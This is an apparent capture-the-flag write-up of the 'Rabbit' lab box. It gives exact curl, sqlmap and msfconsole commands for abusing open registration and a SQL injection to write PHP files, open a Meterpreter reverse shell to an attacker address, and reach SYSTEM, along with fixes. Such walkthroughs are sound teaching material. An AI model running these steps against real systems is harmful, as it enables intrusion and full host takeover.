Rabbit
Summary
I found a PHP complaint-management CMS on an internal port that allowed anyone to self-register a customer account. That low-privilege, authenticated session was enough to reach a backend admin report page vulnerable to SQL injection, which I used to confirm the MySQL engine ran as a user with file-write privileges.
Abusing that write primitive to drop a PHP file into the web root gave command execution as the web process, which was used to stage a Meterpreter payload and capture a foothold as user Raziel. A second PHP file dropped into the same web root and invoked directly ran with NT AUTHORITY\SYSTEM privileges, giving me full control of the host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<the-password-you-recovered, for rabbitagent2310>"Some commands also carry a value in angle brackets — <session_from_login> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 1
Confirm the CMS is reachable and identify the redirect to login.php.
$ curl -ksS -I --max-time 8 http://$TARGET:8080/complain/Exact commands 2
Self-register a customer account with no vetting required.
$ curl -sS -i --max-time 12 -c cookie.txt -b cookie.txt "http://$TARGET:8080/complain/register.php" --data-urlencode 'txtUserName=rabbitagent2310' --data-urlencode "txtPassword=$PASSWORD2" --data-urlencode 'utype=customer' --data-urlencode 'txtAdd=1 Main St' --data-urlencode 'txtMob=5550102000' --data-urlencode 'Email=rabbitagent2310@example.invalid' --data-urlencode 'btnLogin=Register Now'Log in to obtain an authenticated PHPSESSID session cookie.
$ curl -sS -i --max-time 12 -c cookie.txt -b cookie.txt "http://$TARGET:8080/complain/login.php" --data-urlencode 'txtUserName=rabbitagent2310' --data-urlencode "txtPassword=$PASSWORD2" --data-urlencode 'utype=customer' --data-urlencode 'btnLogin=Login Now'FixRestrict and vet self-service account registrationMedium
Exact commands 1
Confirm the injection and check whether the DB user can write files to disk.
$ sqlmap -u "http://$TARGET:8080/complain/view.php?mod=admin&view=repod&id=plans" --cookie='PHPSESSID=<session_from_login>' --dbms=mysql -p id --batch --sql-query='SELECT @@secure_file_priv,@@version,USER(),@@datadir'FixFix SQL injection in the report view and remove database file-write capabilityCritical
Exact commands 2
Start a listener for the reverse shell from the PHP payload written through the SQL injection's FILE primitive.
$ msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST $ATTACKER_IP; set LPORT 4444; exploit -j"From the resulting Meterpreter session as Raziel, read user.txt (replace output with <user.txt> in reporting).
$ cat C:/Users/Raziel/Desktop/user.txtExact commands 1
Request the dropped PHP file; it executes as NT AUTHORITY\SYSTEM and returns the identity plus root.txt (replace output with <root.txt> in reporting).
$ curl -sS -m 10 -i http://$TARGET:8080/rabbit_8e39.phpFixRun the web server as a low-privilege account and disable execution in writable directoriesCritical
Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 25/tcp | smtp Microsoft Exchange smtpd |
| 587/tcp | smtp Microsoft Exchange smtpd |
| 80/tcp | http Microsoft IIS httpd 7.5 |
| 443/tcp | ssl/https? |
| 8080/tcp | http Apache httpd 2.4.27 ((Win64) PHP/5.6.31) |